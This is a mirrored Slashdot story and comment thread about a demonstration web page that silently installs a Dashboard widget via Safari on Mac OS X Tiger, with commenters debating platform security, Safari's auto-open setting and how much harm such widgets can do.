Slashdot Mirror


Malicious Web Pages Can Install Dashboard Widgets

bonch writes "If you're running Safari on OS X Tiger and go to this website, a 'slightly evil' Dashboard widget will be automatically downloaded and installed and can't be removed without manually removing the file from the Library folder and rebooting the computer. The widget is called Zaptastic and is a demonstration by the author of how easy it is to exploit Dashboard for nefarious purposes. The essay, released under the Creative Commons License, goes on to describe the many ways users can be taken advantage of--imagine porn sites auto-installing adware widgets without your knowledge." So if you're on a Mac, it would be smart to view that page with something other than Safari.

610 comments

  1. yes but... by Anonymous Coward · · Score: 5, Funny

    magine porn sites auto-installing adware widgets without your knowledge.

    Yes, but do they install porn?
    -SJ53

    1. Re:yes but... by mike518 · · Score: 5, Funny

      "magine porn sites auto-installing adware widgets without your knowledge."

      i dont need to imagine, im running windows xp.

      --
      Mike
      I heart the RIAA & MPAA, im sure its mutual...
  2. Serves you right by th1ckasabr1ck · · Score: 3, Funny

    If people would just run a secure OS like Linux or Windows, they wouldn't be hit with attacks like this. When will people learn?

    1. Re:Serves you right by Anonymous Coward · · Score: 0

      Linux is not as secure as Windows according to Gartner.

    2. Re:Serves you right by Janitha · · Score: 5, Insightful

      There is no such thing is a secure OS, all Operating systems have flaws.

    3. Re:Serves you right by zkn · · Score: 1

      You are totaly right, so we should stop pointing out the flaws and just run around naked. All countries have idiots, so why aspire to be anything better?

    4. Re:Serves you right by EtherAlchemist · · Score: 4, Insightful


      That's quite apt. And I imagine you will be modded down due to the OS in question here.

      When a Windows OS exploit is discovered there are thousands of zealots who scream "USE LINUX, STUPID" and "I use a Mac, there are not exploits for my OS" but whenever either of those OSes is found to have a flaw, those zealots are awfully quiet.

      The best thing for me reading the comments so far has been the Mac users who point out that settings can be changed to allow or deny this action. They treat that like it's a magic feature only Mac has, when the truth of the matter is shit like that can be turned off in Windows also.

      All of the common OSes can be locked down tight, IF THE USER CHOOSES TO. Every OS ships with the potential to be exploited, and even if it comes out the box secure, the user can always undo that.

      I guess the difference when it's a Mac OS, it's a big deal because someone actually bothered to write something malicious for a small segment of the computer population.

      This is actually a good thing though. It's lets all of you Mac users know that the security you've been takeing for granted is only as good as long as their is no attention to you.

      Looks like this is changing.

      --
      R(k)
    5. Re:Serves you right by Mitleid · · Score: 2, Funny

      God damn I wish I had some mod points. Very well said, my friend.

      --

      --
      Is it me, or did it just get fatter in here?
    6. Re:Serves you right by diamondsw · · Score: 4, Insightful

      No, because as you said, out of the box security is important. Mac OS X has no services running out of the box; Windows had several exploitable ones prior to XP SP2 (which I give them credit for doing a good job with).

      As for this vulnerability, it is Safari categorizing a Dashboard widget as "safe" when it clearly isn't. Yes, it's a vulnerability, one with an exploit already shown, and it needs to be fixed NOW. No one is saying Apple is perfect or OS X is immune, but so far there has been very little to point to in Apple's track record.

      What's really important is Apple's response. Anyone post this in RADAR yet? "As Seen On TV", any thoughts from your unique position?

      --
      I don't know what kind of crack I was on, but I suspect it was decaf.
    7. Re:Serves you right by __aabwba5127 · · Score: 1

      "I guess the difference when it's a Mac OS, it's a big deal because someone actually bothered to write something malicious for a small segment of the computer population." Maybe it's changing, but by default on mac os x you are not logged in as admin. IT'S ALWAYS ABOUT WHAT ACCOUNT YOU'RE USING, NO MATTER WHICH OS YOU USE. Owned Linux boxes are rarer but definitely more frightful than 0wned windows boxes!

    8. Re:Serves you right by Anonymous Coward · · Score: 0

      Maybe it's changing, but by default on mac os x you are not logged in as admin

      People were spouting this nonsense in the Firefox story as well, and it's just as retarded here as it is there. The most valuable thing on a computer is not the OS or the installed programs, it's the user data.

    9. Re:Serves you right by Anonymous Coward · · Score: 2, Funny
      I use a Mac, there are not exploits for my OS

      whenever [OS X] is found to have a flaw, those zealots are awfully quiet.

      Good thing it hasn't happened then.

    10. Re:Serves you right by Scudsucker · · Score: 2

      Very well said, my friend.

      No, its not. His exact same sentiments have been expressed in a hundered other Apple stories. Yawn.

    11. Re:Serves you right by Anonymous Coward · · Score: 0

      The mere repetition of speech or ideas does not increase or decrease their correctness, or the aesthetics of their form.

      You, sir, are a troll.

    12. Re:Serves you right by Anonymous Coward · · Score: 0

      Even if you let safari put the widget into the ~/Library/Widgets/ by default you have to go into dashboard and specifically drag that widget out of the tray to make it active. AND even then it can't do damage without admin premission.

    13. Re:Serves you right by EtherAlchemist · · Score: 0, Flamebait


      Oh shit, you got me there!

      *zing*

      I tried to think of a witty remark, but the only one I could come up with at your grade level went something like:

      It wasn't a rock, it was your mama.

      --
      R(k)
    14. Re:Serves you right by Scudsucker · · Score: 2, Insightful

      The mere repetition of speech or ideas does not increase or decrease their correctness, or the aesthetics of their form.

      Not when they aren't remotely correct in the first place. Apple is the only company where you can count on these arguments being made. And most of the time these people don't even bother to read the comments before posting the "but if this were Microsoft" drivel. This was demonstrated perfectly in the book banning story - someone complained that "if this were Microsoft you guys would be outraged" - completly ignoring the many "Steve Jobs is a consumate asshole" posts modded up to +5 Informative.

      You, sir, are a troll.

      Wrong. I'm pointing out that these people are hypocrites - the critisize the supposed "group think" of Slashdot, nevermind that they are parroting the "if this were Microsoft" line that was old before Hot Grits went out of style. These comments are just as much trolls as the guy claiming that BSD is dying and the guy wondering why it's taking him 20 minutes to copy a 17 meg file onto a Mac from across a network.

    15. Re:Serves you right by GotenXiao · · Score: 2, Insightful

      Technically, this isn't a MacOS exploit - it's a Safari exploit. Unless of course, we're including browser exploits, in which case your point about locking stuff down becomes invalid because Internet Swiss Cheese *can't* be locked down that far. Sure, you can switch off ActiveX. And JavaScript. And just about everything else. Good luck browsing the web.

      And to be fair, it wasn't a malicious exploit.
      "I went to the trouble of making it ostensibly useful: it is a countdown timer for the launch of alleged PayPal competitor GreenZap. GreenZap is probably a Ponzi scheme, but do remember that PayPal gave away money when they were new, and it really would be a good idea on general principle if they had competition."
      As he mentions on his site, it could easily have been a lot more evil and/or damaging. Then again, he *does* link to the more evil version... But it should bring it home quite well for the Mac users.

      --
      Goten Xiao
    16. Re:Serves you right by U96 · · Score: 1

      Nice. Gartner is Sinn Fein to Microsoft's IRA

      --

      "I thought they were the dominant species..."
    17. Re:Serves you right by FinestLittleSpace · · Score: 1

      The mere repetition of speech or ideas does not increase or decrease their correctness, or the aesthetics of their form.

    18. Re:Serves you right by teh+kurisu · · Score: 4, Informative

      No, it's Safari categorising a ZIP archive as safe. To quote Safari:

      "Safe" files include movies, pictures, sounds, PDF and text documents, and disk images and other archives.

      The ZIP archive extracts automatically, and just happens to place the file in ~/Library/Widgets/. Dashboard runs the Widget from there.

      You're right, it's not safe. I think the solution to this should be to first of all disable the whole opening safe files functionality by default. The second should be to declassify archive files as 'safe' (with the exception of disk images), because it makes it easy to write files in this way.

      Personally I've set administrator priveledges on my ~/Library/Widgets/ folder so that I now need to enter a password to write to it.

    19. Re:Serves you right by dfghjk · · Score: 1

      "No one is saying Apple is perfect or OS X is immune"

      Actually, a lot of people say that. It's in fact the most common response to the malware question from mac fanboys.

    20. Re:Serves you right by zaphod123 · · Score: 1

      Hypocrites on Slashdot?!?!?! What is this world coming to??

      --
      :q!
    21. Re:Serves you right by Anonymous Coward · · Score: 0
      "When a Windows OS exploit is discovered there are thousands of zealots who scream "USE LINUX, STUPID" and "I use a Mac, there are not exploits for my OS" but whenever either of those OSes is found to have a flaw, those zealots are awfully quiet."

      So by this logic you are saying that Windows zealots make lots of noise when a Windows flaw is found? Of course that might not be a fair comparison. I would imagine such a thing is not that big of a deal considering the frequency with which it occurs. Oh dude that reminds me. A new update to your antivirus filter just installed. Please reboot.

    22. Re:Serves you right by whitepony02027 · · Score: 2, Funny

      but what makes it better is that we have the problems here and now while Windows users have to wait a year and a half for them.

    23. Re:Serves you right by HTH+NE1 · · Score: 1

      The second should be to declassify archive files as 'safe' (with the exception of disk images), because it makes it easy to write files in this way.

      Wasn't there another exploit in Panther that involved the auto-mounting of disk images in Safari?

      And QuickTime movies can also contain links that can automatically inform remote sites when a movie is played. Do you really want someone else being able to monitor how often you watch your downloaded porn?

      --
      Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
    24. Re:Serves you right by teh+kurisu · · Score: 1

      As far as the disk image problem is concerned... any information on whether or not it was fixed? The article's almost a year old, I'd hope so... I think disk images are less of a worry than ZIP archives and the like, because they don't actually place their contents in the filesystem. Of course, I could be completely wrong.

      I use VLC to watch my porn. Full screen, baby.

    25. Re:Serves you right by gmcgath · · Score: 1

      The difference in response between Mac and Windows vulnerabilities is, I think, due largely to their media treatment, not just to the "zealots." Dumbed-down mass media stories treat attacks on Windows security as something magical and unstoppable, thus creating the impression that users have few or no options with which to protect themselves. Stories of Macintosh and Linux attacks don't usually make the mass media, so we hear about them from better-informed sources that discuss options. This can create the impression that Mac users have ways to secure their machines which Windows doesn't offer.

    26. Re:Serves you right by Anonymous Coward · · Score: 0
      The mere repetition of speech or ideas does not increase or decrease their correctness, or the aesthetics of their form.

      No, I'd say that repetition can most certainly wreck something's aesthetic appeal. Certain things just aren't as amusing or insightful the millionth time around, you know?

    27. Re:Serves you right by Anonymous Coward · · Score: 0

      The only way to secure an OS would be to keep humans from using it and keep it locked up in a vault where no one could touch it...

      The only way to write a truly evil widget would involve having the user click okay on a button allowing the widget to access secured resources... A good balance between allowing dashboard to do powerful cool things and having enough security to protect those people who can read and follow directions...

      Every os has stupid people using it.

    28. Re:Serves you right by Scudsucker · · Score: 1

      Shhh! You're spoiling my righteous indignation!

  3. Ouch! by Godboy_g · · Score: 1, Redundant

    That seems liek quite a security flaw... Any timeline on it being patched?

    --
    I LIKE TOAST!!!
    1. Re:Ouch! by Anonymous Coward · · Score: 0

      maybe a potential hole for spyware to get in on a mac? uh, oh. time to replace that obsolete mac with a shiny new windows box. those NEVER get spyware.....

    2. Re:Ouch! by justMichael · · Score: 3, Informative
      That seems liek quite a security flaw... Any timeline on it being patched?
      Preferences -> General -> Open "safe" files after downloading (uncheck)

      Problem solved. Having that pref checked is asking for trouble. You can drop whatever you want in my downloads, I'll open it myself when I'm ready.

      Disclaimer: I am not running Tiger, so this may not be 100% correct.
    3. Re:Ouch! by mrchaotica · · Score: 4, Insightful

      Yeah, but "unchecked" should be the default.

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

    4. Re:Ouch! by Anonymous Coward · · Score: 0

      That's the user's own fault, he needs to understand that his apple is geared more towards usability at the cost of security. The question that you should really ask is: why does it auto install widgets (w/o prompt), maybe then you shall find the root of the problem.

    5. Re:Ouch! by Anonymous Coward · · Score: 0

      I promise it will be sooner than you can fix the spelling error in your post.

    6. Re:Ouch! by LO0G · · Score: 1

      s/apple/Microsoft/g

      Now read the same comment again.

      And then please explain to me why MacOS is immune to spyware?

    7. Re:Ouch! by peragrin · · Score: 1

      Because it still asks you if you want to install it to begin with.

      Of course I learned long ago never to use a browser that is tied to the OS. Hence why i use firefox more often.

      Of course it is easy to remove the offending software. unlike windows spyware it can't re-infest the machine while your removing it. Also I don't know why you need to reboot the system. a simple rm of said file, and then kill the dashboard with Kill.

      --
      i thought once I was found, but it was only a dream.
    8. Re:Ouch! by Mooga · · Score: 1
      The bigger question is who would wast their time making spyware for MacOS? But it's not MacOS as a whole, it's just Safari. So few people use Safari when compared to IE and FF (and maybe Opera). I know that at my school which runs Macs, almost everyone uses IE on the computers without FF (Oddly, FF has picked up a lot of use on the computers with it even though many people started off not knowing about it.)

      Don't get me wrong, I think Macs are great but there isn't enough people using it to encorage spywate.

      This can change though since I saw spyware on FF on one of my other computers. (That's what happens when kids try to play neopets and go on rampage downloading sprees.)

      --
      ~ Mooga
    9. Re:Ouch! by Ender_Wiggin · · Score: 2, Insightful

      "Safe" files are supposed to be non-executable files. Safari preferences state "Safe files include movies, pictures, sounds, PDF and text documents, and disk images and other (ZIP, .Sit, .rar) archives."

      Widgets seem to be considered "safe" but this could change in a patch.

    10. Re:Ouch! by LO0G · · Score: 5, Insightful

      So does IE. ActiveX controls have ALWAYS prompted.

      And with XP SP2 (released in AUGUST) unsigned binaries simply can't be installed, and the default is "NO" for signed binaries...

      Somebody thought they had a cool feature and didn't think about the consequences.

    11. Re:Ouch! by soulhuntre · · Score: 5, Insightful

      Um, never? Because it actually prompts you and asks you if you're sure you want to run it?

      So the fact that IE does the same thing for, say, ActiveX and has similar options for control is consistently ignored on /. int he name of the great Jihad but a exactly similar (or worse) Apple problem gets apologists running.

      So amusing.

      --
      --> Fight tyranny and repression.... read /. at -1!
    12. Re:Ouch! by mithras+the+prophet · · Score: 4, Informative

      I think you already corrected yourself above, but for others reading this, no, it doesn't prompt the user before running an auto-installed widget, which is such a fantastically bad idea I can't believe it didn't occur to anyone what a security flaw that is.

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    13. Re:Ouch! by Anonymous Coward · · Score: 0

      Oh? So you never got a dialler installed just by visiting a website with a Java applet on it that made use of a flaw in their engine? I once saw my machine attempt to dial an international number just by visiting a website, NO prompting... since then I NEVER used IE.

    14. Re:Ouch! by peragrin · · Score: 2, Insightful

      First I have seen windows install software without the user being prompted right at work. They ask me when a pop up ad comes up and looks like a regular dialog box.

      Second Active X is a cool feature and nobody thought of the consequences at MSFT. there were reports in the late 90's about active X showing it's potential for harm. It took a few years, but guess what people.

      I will give MSFT this much at least a full third of the crap they have to deal with is stupid users. And stupid users can fsck up any OS.

      It's just harder to maintain control when windows apps require admin settings.

      --
      i thought once I was found, but it was only a dream.
    15. Re:Ouch! by Lukesed · · Score: 0

      Yeah, Final Fantasy rocks.

    16. Re:Ouch! by JudgeFurious · · Score: 3, Insightful

      Is it "exactly" or is it "similar"?

      Or is it "worse"?

      I'm confused here but I'm not running. Of course I'm not an apologist either.

      Whether you're talking about IE or Safari the same thing holds true. Saying "yes" when you're prompted despite not knowing what you're installing means you're a fucking moron and you deserve whatever you get.

      --
      Appended to the end of comments you post. 120 chars.
    17. Re:Ouch! by Ucklak · · Score: 1

      You must be a new Windows user.

      Windows 98 NEVER prompted.
      Windows ME NEVER prompted.
      Windows 2000 NEVER prompted.
      Windows XP NEVER prompted.
      Windows XP SP2, well looks like they've started so see that this was a problem after all.

      --
      if you steal from one source, that is plagiarism, if you steal from many, well, that's just research.
    18. Re:Ouch! by Moofie · · Score: 1

      Who told you "immune"? Sure hope you weren't paying that consultant a lot of money.

      MacOS is LESS susceptible, partly by design, and partly because of market considerations. I know that I've gotten zero pieces of spyware on my Powerbook, and I clean it out daily on the PCs at work.

      I know which system I prefer.

      --
      Why yes, I AM a rocket scientist!
    19. Re:Ouch! by BasilBrush · · Score: 1, Informative
      Let me correct you. It does not run the widget unless you ask it to. visit that page and the widget is downloaded, and made avilable for you to run. But look at the Activity Viewer, and you will see that it is not a running process. Then only way it will ever become a running process is if you pick it up from the widget bar and drop it on the desktop.

      The original post is also wrong in claiming that a reboot is necessary to remove it. He must be a Windows user. Clicking close on the widget, then removing it from the user library folder is all that is required. There is no nasty embedding a registry, or auto starting or restarting such as you might expect with spyware on a Windows machine.

    20. Re:Ouch! by Momoru · · Score: 1

      The only way this would happen would be if you specifically lowered your security settings. All of the above operating systems DID prompt you to install the ActiveX control, for example, when Windows Update came with Win98 it always gives you a yes or no prompt about installing it. Maybe what your thinking of is that there were a few exploits that allowed web pages to install an Active X without prompting, but a normal out of the box Windows install on a normal ActiveX page would give you a prompt.

    21. Re:Ouch! by teh+kurisu · · Score: 1

      The widget in question is packaged in a ZIP archive, which is why it is autorun. I don't actually think you can download a Widget without it being in some sort of archive, because a .wdgt file is actually a folder.

    22. Re:Ouch! by Phisbut · · Score: 1
      So few people use Safari when compared to IE and FF (and maybe Opera).

      That is exactly what MS is claiming, and you seem to agree. "The reason there are no viruses on Mac (and Linux) is because there are fewer users, not because it's more secure". Well it shouldn't be that way. OSX used to be way more secure than Windows (being based on Unix and all), but now they're trying to do it the easy way, no matter what the security implications are?

      Aren't they trying to take a bite out of Microsoft's market share? What if they succeed? People will start writing all sorts of virii and spywares for OSX, and it'll be easy for them if people at Apple begin to sacrifice security for coolness.

      You can't say that security doesn't matter because so very few people use your software, and then try to get more and more people to use it.

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    23. Re:Ouch! by Phisbut · · Score: 1
      MacOS is LESS susceptible, partly by design

      I haven't tested what is claimed in the article because I don't have a Mac (yet), but didn't they just screw the design with widgets auto-install? I think more than 10 years of Microsoft bashing have proven that prompting "Are you sure you want to install this spyware? Yes/No" is not an acceptable security feature, because people are stupid.

      I know that I've gotten zero pieces of spyware on my Powerbook, and I clean it out daily on the PCs at work.

      Just like the many people who say that "if you click yes on every popup that appears, you deserve what you get", I just don't understand how people can get that many spyware even with Windows. I've been working here for 16 months now, with an administrator Windows account, and have yet to have a single spyware / virus on my machine. They run weekly scans with several spyware checkers and anti-virus (not just the free ones), and never found squat on my system. If you know how to use a computer, be it a Mac, a Windows or a Linux, you remain in control and stuff doesn't install automagically.

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    24. Re:Ouch! by Anonymous Coward · · Score: 0

      Oh look! Another random clown who decided they would rather post their idiotic Apple/MS comparison than bother to understand to understand WHAT THE FUCK THEY ARE TALKING ABOUT.

      "and never found squat on my system."

      Uh yeah dipshit.

      A) Your machine is not connected to the Net
      B) You are yet another lying Microsoft user

      A or B asshat?

    25. Re:Ouch! by cdcarter · · Score: 1

      I downloaded and installed Firefox (an unsigned binary, I might add) from IE XP SP2.

      --
      "Love is like a trampoline, first it's like "SWEET!!" then it's like *BLAMM!*"
    26. Re:Ouch! by LO0G · · Score: 1

      First, FF is now signed. Check it.

      Second, that was my mistake. I meant to say unsigned ActiveX controls can't be downloaded. Unsigned binaries can still be downloaded (but all downloaded executables are tagged so that the shell warns you whenever you launch them).

      My bad.

    27. Re:Ouch! by MyDixieWrecked · · Score: 1

      Win98 prompted you? I seem to recall demonstrating this great IE trick back when I was in college where I installed BackOrifice on nearly everyone's computer on my floor by pointing them to a website with a malicious activeX control, and no one had any clue. The page was just "Welcome to my website." with no indication that anything happened, iirc.

      And years before, someone demonstrated a trick where you could shut the machine down by visiting a malicious web page.

      --



      ...spike
      Ewwwwww, coconut...
    28. Re:Ouch! by Moofie · · Score: 1

      "I've been working here for 16 months now, with an administrator Windows account, and have yet to have a single spyware / virus on my machine"

      How nice for you.

      "you remain in control and stuff doesn't install automagically"

      Just because you say it, doesn't make it so.

      --
      Why yes, I AM a rocket scientist!
    29. Re:Ouch! by Ender_Wiggin · · Score: 1

      Even so, the widget is installed, but not run. You have to open dashboard and drag it to the desktop to be run.

    30. Re:Ouch! by kaltekar · · Score: 1

      Using Tiger and checked the site, the widget zip file auto downloads but won't unzip and install with the box unchecked. This isn't a security flaw, is a cleaver use of default settings, and as for the essaiest wanting a way to uninstall widgets, just open the the widegets folder and drag the any unwanted widgets to the treash, empty trash, repeat as nessessary.

      --
      Ahh.. The mind what a wonderful trap!
    31. Re:Ouch! by Anonymous Coward · · Score: 0

      No. Widgets, and everything else in the list, are perfectly safe. Most users want to auto open them. THERE IS NO SECURITY RISK IN DOING SO. Therefore "checked" should be the default.

    32. Re:Ouch! by Anonymous Coward · · Score: 0

      I recommand you quote the full thing. I don't apologize for apple. I am just stating the obvious. Now ask why slashdot censored my post and we'll have a conversation. I am a rebel.

    33. Re:Ouch! by Anonymous Coward · · Score: 0

      Sorry I don't have an account, and I'm not going to bother getting one at the moment, but I'm pretty sure Apple took measures to limit exactly what a widget could and could not do within the system. My understanding is that widgets have no access to your private and sensitive information or your system software, they're there as easy links to external sources of information. So yes, someone could make an extremely annoying widget that screams "Click me! Hot Nude Teens!" at you but no they couldn't make it pop up on your screen over and over again and it would give nobody access to any important information about you or your computer... Correct me if I'm wrong =/

    34. Re:Ouch! by Anonymous Coward · · Score: 0

      Gee, I was wondering what all this was about because any zipped widgets that I downloaded didn't get installed automatically. Then I remembered that I'm not stupid and had turned off auto-extraction the minute I know that that option existed.

      It's a mistake of Apple to not have it turned off by default, but then again, they're not perfect.

  4. Firefox asks what to do by HermanAB · · Score: 2, Informative

    with somethingorother.zip. Interesting, but not dangerous.

    --
    Oh well, what the hell...
    1. Re:Firefox asks what to do by Bungopolis · · Score: 5, Informative

      This warning applies specifically to Safari. It's obviously not going to affect Firefox, because Firefox does not have the widget auto-installation feature that Safari does. Most users of Tiger, however, are probably using Safari, so this most certainly is dangerous.

    2. Re:Firefox asks what to do by bsharitt · · Score: 1

      I generally disable the automatic opening of files in safari, so while it may download, it should serve the same purpose, although I'm on 10.3 and the widget files don't do anything, so I can't be sure. By the way, does Safari 2.0 at least have the option of letting bringing up a dialog box asking where to download. that is one of my biggest pet peeves with Safari.

    3. Re:Firefox asks what to do by pcmanjon · · Score: 1

      Well, that solves the claims mac users make when they say their OS is the most secure in the world.

      Now it isn't!

    4. Re:Firefox asks what to do by linguae · · Score: 2, Insightful

      Same thing on my computer. I'm running Firefox 1.0.1 on FreeBSD, and the exact same thing happened. At least Firefox asked what to do with the file before downloading it, but still it is a bit weird.

      I guess that you can run away from Windows and all of its problems with ActiveX and Internet Explorer, but you can't hide from all of the problems of Internet security. All this takes is for some clueless Mac users to just say "Yes" when Safari asks does the program want to be downloaded/run, and voila, they get the Macintosh equivalent of spyware. Just as easy as it is in Windows.

      This problem needs to be fixed quickly, before spyware widgets start becoming more common on the Mac platform. And users need to be more educated about such dangers such as software automatically downloading themselves. They need to know how to withstand social engineering abuses, and they also need to get into their heads quickly that just because they're away from Windows and Internet Explorer doesn't mean that they're away from crackers and exploiters.

    5. Re:Firefox asks what to do by HermanAB · · Score: 1

      Yes, yes, but why doesn't Safari ask the same way FF does? In Windows, Exploder will drop the zip file on the desktop - we expect Windows to do stupid things like that, but Safari should not.

      --
      Oh well, what the hell...
    6. Re:Firefox asks what to do by Lars+T. · · Score: 1

      Well, good that you are not running Firefox for Windows then. Else you'ld better update ASAP. https://bugzilla.mozilla.org/show_bug.cgi?id=29330 2

      --

      Lars T.

      To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

    7. Re:Firefox asks what to do by cvas · · Score: 2

      I'm not saying OS X is or isn't more secure than Windows, Linux, etc., but this vulnerability doesn't negate the argument you brought up at all. If Mac users had said OS X was completely, 100%, beyond a shadow of a doubt secure and had no vulnerabilities, then you would have a point. As it stands, you can still be the most secure if you have less vulnerabilities than the others.

    8. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      Hold down the alt/option key to change "Download/Save" to "Download/Save as..."

    9. Re:Firefox asks what to do by Fussen · · Score: 1

      Sort of funny, in the past few months I've hit some pretty amateurish built sites and there are a surprisingly fair amount of site that seem to just hand the browser files whether they webmaster intended that or not.

      The most classic files DWTs which are Macromedia Dreamweaver templates. Why would the site be asking me for the sites template?

    10. Re:Firefox asks what to do by jZnat · · Score: 1

      So I guess us Camino users who already suffer from a lack of available extensions at least have an advantage over Safari? Wewt.

      --
      'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
    11. Re:Firefox asks what to do by hey! · · Score: 3, Insightful

      It certainly makes you wonder -- what was apple thinking? How many years have there been security issues with ActiveX? How could anybody with an IQ above tepid water possibly think an autoinstallation feature is a good idea in a web browser at this late date?

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    12. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      Hey! look yet another clown three hundred post later who hasn't bother to even understand how Dashboard works but feels it's his chance to make yet another idiotic ActiveX comparison.

      Dumbshit, NO CODE IS AUTOMATICALLY EXECUTED.

    13. Re:Firefox asks what to do by hey! · · Score: 1

      According to you:

      NO CODE IS AUTOMATICALLY EXECUTED.

      According to TFA:

      If you are using Safari on Tiger, thanks to the magic of widget autoinstall, combined with the tag, a slightly evil widget has been installed in your dashboar.

      Sounds to me like something is getting executed, unless you are using some sense of the word "Execute" which excludes "Installation of software without user interaction".

      For the recod, I never said Dashboard was the equivalent of ActiveX. The problem is with the browser technology, not Dashboard itself.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    14. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      Do you honestly still not realize that 'instillation of the widget" is nothing more than putting a link to a file that just sits there doing nothing unless the user decides to activate by dragging it off the dashboard list of widgets?

    15. Re:Firefox asks what to do by Breakfast+Pants · · Score: 1

      It is hard to judge which has the most vulnerabilities when one OS has 10x the user base. If they both had equal amounts of vulnerabilities the OS with more users would exude more vulnerabilities. It isn't exactly a linear correlation however (you can't just divide the amount of vulnerabilities published for windows by the number of users and do the same for mac to get a good estimate...). Now granted I think OSX is probably more secure, but I can't back that up.

      --

      --

      WHO ATE MY BREAKFAST PANTS?
    16. Re:Firefox asks what to do by shmlco · · Score: 1

      Of course, if the user base situation were reversed then OSX would be the primary target. And in fact, if everyone else went away and Linux had the vast majority of the user base bored script kiddies would target rhose systems.

      --
      Any sect, cult, or religion will legislate its creed into law if it acquires the political power to do so.
    17. Re:Firefox asks what to do by SirTalon42 · · Score: 1

      IE doesn't auto download zip files.

    18. Re:Firefox asks what to do by BasilBrush · · Score: 1, Redundant
      installed != executed.

      Also from TFA:

      "That's not such a big deal; by default, widgets can't do much damage, and they can't run unless you drop them into your dashboard."

      Nothing will be executed unless the user explicitly runs it by dragging the widget from the widget bar to the dashboard.

    19. Re:Firefox asks what to do by BasilBrush · · Score: 1

      And OSX still wouldn't have as many vulnerabilities as Windows has had. It's a more securely designed OS. This silly argument that number of vulnerabilities is proportional to user base is Microsoft FUD. It shows up anyone that repeats is as an idiot.

    20. Re:Firefox asks what to do by Lussarn · · Score: 4, Insightful

      It still fills up your harddrive with possibly malicious crap. If thats ok for you Apple didn't do anything wrong even this time.

    21. Re:Firefox asks what to do by notAyank · · Score: 1

      it's not wierd, it's a meta tag with http-equiv="refresh". it's, erm, pretty normal. see here: http://vancouver-webpages.com/META/metatags.detail .html

    22. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      I see what you did, you changed the spelling of 'explorer' so it says 'exploder', insinuating how dangerous it is. well done. Do you have any other gems from the future world of 1998?

    23. Re:Firefox asks what to do by BasilBrush · · Score: 1

      Oh, I agree that this is a problem. But only one of filling the widgets bar with useless and annoying icons. Not one of actually executing malicious code. No doubt Apple will address the problem before long.

    24. Re:Firefox asks what to do by hey! · · Score: 1

      Installation == execution in my book.

      "That's not such a big deal; by default, widgets can't do much damage, and they can't run unless you drop them into your dashboard."

      I dunno. Too many innocuous appearing things have turned out to be not innocuous in the past for this to give me a good feeling.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    25. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      So you just won't give it up. You so really wanted this to be a real exploit.

      Too bad loser.

      Now run off and tell everyone about the terrible 'remote execution exploit' you read about on Slashdot. Make sure you try to confuse people with your idiotic 'installation == execution'

    26. Re:Firefox asks what to do by Phisbut · · Score: 1
      In Windows, Exploder will drop the zip file on the desktop - we expect Windows to do stupid things like that, but Safari should not.

      Slightly offtopic, but Safari has deceived me a great deal last week, with its strange "default behaviors". I was testing some web script, and I often serve a page as text/plain for debugging purposes. IE, Firefox and Opera all displayed the debug page as plain text when required to do so, but Safari, even when the server explicetly sent a Content-Type: text/plain, just because the page had a .html extension, displayed it as html, as if the webserver didn't know what it was talking about.

      Safari may pass the Acid2 test now, but its current default behavior doesn't make it a good browser to me.

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    27. Re:Firefox asks what to do by BasilBrush · · Score: 1

      Then your book is wrong. And you can't just make words that have meanings be synonyms when they are not. Installation is merely downloading of a file bundle. No program instructions anywhere in those files are executed.

    28. Re:Firefox asks what to do by HTH+NE1 · · Score: 1

      I was testing some web script, and I often serve a page as text/plain for debugging purposes. IE, Firefox and Opera all displayed the debug page as plain text when required to do so, but Safari, even when the server explicetly sent a Content-Type: text/plain, just because the page had a .html extension, displayed it as html, as if the webserver didn't know what it was talking about.

      You just described normal IE behavior of disregarding "text/plain" on Windows. I haven't run IE on Mac OS X to know whether it also disregards this part of the HTTP standard, nor have I run tests with Safari, but it could be Safari has in it now an IE compatibility mode so it can work as expected for users communicating with misconfigured servers (serving .iso files as text/plain for example).

      --
      Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
    29. Re:Firefox asks what to do by Phisbut · · Score: 1
      You just described normal IE behavior of disregarding "text/plain" on Windows.

      Nope, just like I said, a .html page served as text/plain was being displayed as plain text on all semi-decent browsers on Windows (Firefox, Opera, Netscape, IE, Mozilla), and also on IE/Mac. It was only Safari who screwed it up. The first time I saw that, I actually thought I had accidentally launched IE, but then was really surprised that it was a "better" browser that couldn't do it.

      --
      After 3 days without programming, life becomes meaningless
      - The Tao of Programming
    30. Re:Firefox asks what to do by Onan · · Score: 1

      Webservers have a tendency to serve up things they don't understand as text/plain or application/octet-stream; depending on the actual file, these types are often very incorrect.

      Given that these types are so often incorectly applied, apple made the interesting choice to basically just consider them "unknown" as far as the server is concerned, and try to figure them out on the client side. So if it ends in .html and contains a lot of text and html-like tags, safari will assume that you're yet another bolloxed up webserver and treat it as an html file.

      I have pretty mixed feelings about this choice. In theory, it's bad that you're intentionally disregarding what the server is claiming, even if it was the admin's intent. In practice, it's often good to disregard what the server is saying, because the server is often misconfigured.

      In an ideal world, webservers would use a different mime type for unrecognized than for things that are explicitly matched. If apache only used text/plain for things that really are text/plain, and served up anything it didn't understand as stuff/hellifiknow, then client could make another pass at figuring things out without any risk of stepping on the server's decision.

    31. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

